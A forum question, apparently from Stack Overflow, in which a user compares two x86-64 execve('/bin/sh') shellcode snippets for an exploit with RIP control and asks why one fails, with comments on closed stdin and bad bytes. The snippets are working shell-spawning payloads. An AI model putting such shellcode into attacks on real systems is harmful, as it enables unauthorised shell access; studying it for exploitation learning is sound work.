0

I usually use a different method to push /bin/sh in rdi to get a shell, but I wanted to try this one : Put in case that I can control the RIP and there are no limitations or filters. So I can execute the assembly code as I want.

 mov rax, 0x0068732f6e69622f
push rax
push rsp
pop rdi
mov rax ,0x3b
xor rsi, rsi
xor rdx, rdx
syscall

lea rdi, [rip + shell]
mov rax, 0x3b
xor rsi, rsi
xor rdx, rdx
syscall

shell:
  .string "/bin/sh"

While I usually use the above one, I don't get why the first one isn't working. I also used GDB to verify and everything seems to be good and in the right positions. In addition to that I also get in dgb:

process 8870 is executing new program: /usr/bin/dash.

Why it doesn't work?

Improve this question
5
  • 1
    Please clarify your specific problem or provide additional details to highlight exactly what you need. As it's currently written, it's hard to tell exactly what you're asking.
    – Community Bot
    Commented Mar 20 at 18:02
  • 1
    Both works. If you are testing them in an exploit, be sure stdin is not closed when bash is run.
    – Margaret Bloom
    Commented Mar 21 at 14:45
  • @MargaretBloom can it be because 0x68 is a bad char?
    – tpau
    Commented Mar 21 at 18:52
  • AFAIK, 0x68 is not problematic as a byte value. A null byte could be, depending on your exploit vector but you are using null bytes on both shellcodes. Are you sure you are not dropped in a new shell without realizing it? It's easy to make trivial mistake when dealing with complex things like binary exploitation. If gdb shows that bash is executed then either you are in the new shell or the new shell found a closed descriptor for standard input and exited immediately.
    – Margaret Bloom
    Commented Mar 22 at 14:50
  • Thanks for the help, but If I were opening a new shell shouldn't this also happen with the second method? which actually works
    – tpau
    Commented Mar 23 at 16:18

0

Reset to default

You must log in to answer this question.

Browse other questions tagged .